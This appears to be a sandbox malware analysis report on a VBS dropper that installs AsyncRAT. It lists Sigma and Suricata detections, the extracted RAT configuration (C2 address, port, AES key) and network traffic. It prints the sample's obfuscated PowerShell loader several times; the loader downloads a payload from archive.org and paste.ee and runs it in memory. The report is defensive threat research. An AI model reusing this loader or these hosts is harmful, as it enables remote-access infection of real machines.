Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQ

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs", ProcessId: 3160, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQ

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\vr65co3Boo.vbs", ProcessId: 3160, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:27:14.544142+0200	2020424	1	Exploit Kit Activity Detected	188.114.97.3	443	192.168.2.5	49705	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:27:17.370909+0200	2842478	1	Malware Command and Control Activity Detected	148.113.165.11	3236	192.168.2.5	49706	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:27:14.388216+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.5	49705	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": "148.113.165.11", "Ports": "3236", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "V4JA2wRo4wMqThNx0lUpEh05ezE9saTH", "Mutex": "Dggx_gg", "Certificate": "MIICJjCCAY+gAwIBAgIVAKTSE5n95JKjYKaeetJmkZ8WSed/MA0GCSqGSIb3DQEBDQUAMFoxCzAJBgNVBAMMAmdnMRMwEQYDVQQLDApxd3FkYW5jaHVuMRwwGgYDVQQKDBNEY1JhdCBCeSBxd3FkYW5jaHVuMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjMxMjAzMTAyNjE5WhcNMzQwOTExMTAyNjE5WjAQMQ4wDAYDVQQDDAVEY1JhdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAphKhL5VEa5bZce3HMNoHj07+Nyd8QMtT+YV1vVQeIuxBYfOBrszAxxSRJayhzQwZjw8Du9bw87agBJW06h+GHW8MOufcZ+vKSxmpOL0ze3nUSJiOsfboKa06jcmEpo32D7LTxng9/mAGKb0YGEFUGx88yMDaa+NiBIn/LnWXvaECAwEAAaMyMDAwHQYDVR0OBBYEFMn0HT3AJLPhSr+HTYNM/0589fJ0MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEASB+of3f3t+mAacV7FNg5vwlQhgObMv2su+9BL5KxsQVNsBhluNcrZINzF5jKq/8VafO48B00S1O2MnNHmBXQlZ09Iw8Krvm1hZDmBErHPe0Bwwa5ox6ZpJLnodcOGX2JXMfEY2n/6QC0zva9sGQiyazHOYJRTk5RgJhN7j10nZY=", "ServerSignature": "XjeYWme80rSVhHa/BEFI1k3bRgPGhkJfVbkFLvepbqtufl6cOLxu+woVZZM7psVFdchemmHXVOOta4B/iTyJBzInHTih/neulrIRbgq5zdS22cEhHESwIui1ZS3o5BnYGcZRdZTdXfGH6otoicbOBzdpc41nx3BIOXuL5tRHqjI=", "BDOS": "null", "External_config_on_Pastebin": "false"}

Multi AV Scanner detection for domain / URL

Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for submitted file

Source: vr65co3Boo.vbs	Virustotal: Detection: 9%			Perma Link
Source: vr65co3Boo.vbs	ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2

Source:

Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.2142512809.00000156EB570000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2122604087.00000156E3F97000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 148.113.165.11:3236 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 188.114.97.3:443 -> 192.168.2.5:49705

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 148.113.165.11:3236

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/AaTNM/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 148.113.165.11 148.113.165.11
Source: Joe Sandbox View	IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: GOOGLE-PRIVATE-CLOUDUS GOOGLE-PRIVATE-CLOUDUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
